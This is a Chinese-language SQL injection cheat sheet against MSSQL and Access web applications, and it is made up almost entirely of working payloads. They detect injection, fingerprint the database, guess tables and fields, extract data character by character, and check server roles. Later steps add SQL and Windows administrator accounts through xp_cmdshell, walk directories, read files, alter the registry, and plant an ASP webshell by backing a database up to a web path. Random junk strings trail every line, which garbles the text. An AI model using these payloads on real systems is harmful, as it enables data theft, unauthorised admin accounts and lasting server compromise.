1.判断是否有注入;and 1=1 ;and 1=2 *URT-+'
2.初步判断是否是mssql ;and user>0 1Z @sh>X|
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3.注入参数是字符'and [查询条件] and ''=' 9*ZlNZ
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' E1OrL.A6
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5.判断数据库系统 /r"<:+
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;and (select count(*) from sysobjects)>0 mssql ~o"=4q`>
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;and (select count(*) from msysobjects)>0 access $m2#oI'D
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 e7xBi!I)~
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 n>j2$m1[
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 j_N<aX
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9.(1)猜字段的ascii值(access) kF~(B]W(
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 .G!xcQ`?
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(2)猜字段的ascii值(mssql) 4hwb]
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 b2UDP W
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10.测试权限结构(mssql) g}D)MlXRq
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9>S)*lU&s
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Nyy&'\`!
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- HC6U_d1-6
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- #[{{&sN
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- rBTg"^jsw
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- =IsmPQKi
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;and 1=(select IS_MEMBER('db_owner'));-- D`a6D
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11.添加mssql和系统的帐户 WT<}3(S'?
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;exec master.dbo.sp_addlogin username;-- Bc"MOSV0
;exec master.dbo.sp_password null,username,password;-- Yjc U2S"=P
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- [:cD
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;exec master.dbo.xp_cmdshell 'net user username password Intuda7e1
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- G^k'sgy.
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- s;OGb{H7
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- rz%~=Ca2j
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12.(1)遍历目录 Jq&Hz$L|
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;create table dirs(paths varchar(100), id int) {kk%_q
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 8>eYM
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;and (select top 1 paths from dirs)>0 O>]i?
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) F(ydqgH~a
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(2)遍历目录 ;^xM"
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- f%o[eW#
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 HRyFjAR\?
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Q`9c/vPU
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 1,+<|c)T?
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 aKriO
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13.mssql中的存储过程 {O2=K#J
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xp_regenumvalues 注册表根键, 子键 q!:dZES
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 R BHDfm'~7
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xp_regread 根键,子键,键值名 z;1dMQ,#
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;exec xp_regread D0jV}oz
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 e' l9
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xp_regwrite 根键,子键, 值名, 值类型, 值 'Eur[~k
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 x;7l>uR
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xp_regdeletevalue 根键,子键,值名 T5u71C_wmt
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ^5E9p@d"J
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 i`gM> q&
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14.mssql的backup创建webshell r5~W/eE
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use model $@'BB=i
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create table cmd(str image); cOV9g)7^O
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insert into cmd(str) values (''); 'd$RNqe
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backup database model to disk='c:\l.asp'; XZKlE
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15.mssql内置函数 1GK.:s6.f
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;and (select @@version)>0 获得Windows的版本号 #Q!Xz2z2
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa o+Jnn"8
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;and (select user_name())>0 爆当前系统的连接用户 nv_v FK
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;and (select db_name())>0 得到当前连接的数据库 csW\Q][
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16.简洁的webshell y-3'qq'E
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use model ~".@mubt1$
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create table cmd(str image); V,rc&97
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insert into cmd(str) values (''); o^~ZXF}
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backup database model to disk='g:\wwwtest\l.asp';